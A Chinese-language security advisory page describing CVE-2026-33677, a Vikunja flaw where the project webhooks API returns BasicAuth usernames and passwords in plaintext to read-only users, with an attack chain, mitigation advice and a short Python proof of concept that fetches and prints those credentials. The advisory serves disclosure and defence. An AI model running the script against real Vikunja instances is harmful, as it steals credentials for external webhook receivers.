IPBUF安全漏洞报告
English
CVE-2026-33677 CVSS 6.5 中危

CVE-2026-33677 Vikunja凭据信息泄露漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33677
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

信息泄露敏感数据暴露VikunjaAPI安全凭据泄露

漏洞概述

Vikunja是一个开源的自托管任务管理平台。在2.2.1版本之前,其API接口`GET /api/v1/projects/:project/webhooks`存在安全缺陷。当拥有项目读取权限的用户调用该接口时,系统会以明文形式返回Webhook的BasicAuth凭据(包括`basic_auth_user`和`basic_auth_password`)。尽管旧代码正确屏蔽了HMAC `secret`字段,但在后续迁移中添加的BasicAuth字段未得到同样的处理。这导致只读协作者可以窃取用于外部Webhook接收器身份验证的凭据,造成信息泄露风险。

技术细节

该漏洞的根本原因在于服务器端对敏感数据的输出过滤机制不完整。在处理`GET /api/v1/projects/:project/webhooks`请求的后端代码中,响应对象包含了Webhook的完整配置信息。虽然开发人员对HMAC `secret`字段实施了掩码处理以防止泄露,但在后续数据库迁移中引入的`basic_auth_user`和`basic_auth_password`字段未被纳入该保护逻辑中。攻击者只需拥有项目的读取权限,即可构造并发送GET请求至上述API接口。服务器在收到请求后,会对Webhook对象进行序列化并直接返回包含明文凭据的JSON数据。攻击者解析响应包即可获取用户名和密码。由于该漏洞通过网络即可触发,无需用户交互,且仅需低权限,因此具有较高被利用的风险,可能导致外部系统的凭据被盗用。

攻击链分析

STEP 1
侦察与访问
攻击者获取目标Vikunja项目的读取权限,例如被邀请为项目协作者或注册为公共项目的只读用户。
STEP 2
利用漏洞
攻击者构造并发送GET请求到`/api/v1/projects/:project/webhooks`接口,查询项目的Webhook配置。
STEP 3
数据获取
服务器返回JSON响应,其中未经过滤的`basic_auth_user`和`basic_auth_password`字段以明文形式暴露给攻击者。
STEP 4
后续利用
攻击者利用窃取到的凭据访问外部Webhook接收端,可能进行未授权操作或数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target API endpoint for a specific project # Replace PROJECT_ID with the actual target project ID target_url = "https://<vikunja-domain>/api/v1/projects/PROJECT_ID/webhooks" # Headers with authentication (JWT Token or Session Token) # The attacker only needs 'read' access to the project headers = { "Authorization": "Bearer <READ_ACCESS_TOKEN>", "Content-Type": "application/json" } try: # Send GET request to fetch webhooks response = requests.get(target_url, headers=headers) if response.status_code == 200: webhooks_data = response.json() # Iterate through webhooks to find sensitive credentials # Vulnerability: basic_auth_user and basic_auth_password are exposed if isinstance(webhooks_data, list): for webhook in webhooks_data: print(f"[+] Webhook ID: {webhook.get('id')}") print(f" Basic Auth User: {webhook.get('basic_auth_user')}") print(f" Basic Auth Password: {webhook.get('basic_auth_password')}") else: print("[-] Unexpected response format") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Vikunja < 2.2.1

防御指南

临时缓解措施
在未升级版本前,建议暂时禁用所有使用BasicAuth的Webhook功能,或通过WAF等设备拦截对该API接口的响应数据,手动过滤敏感字段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表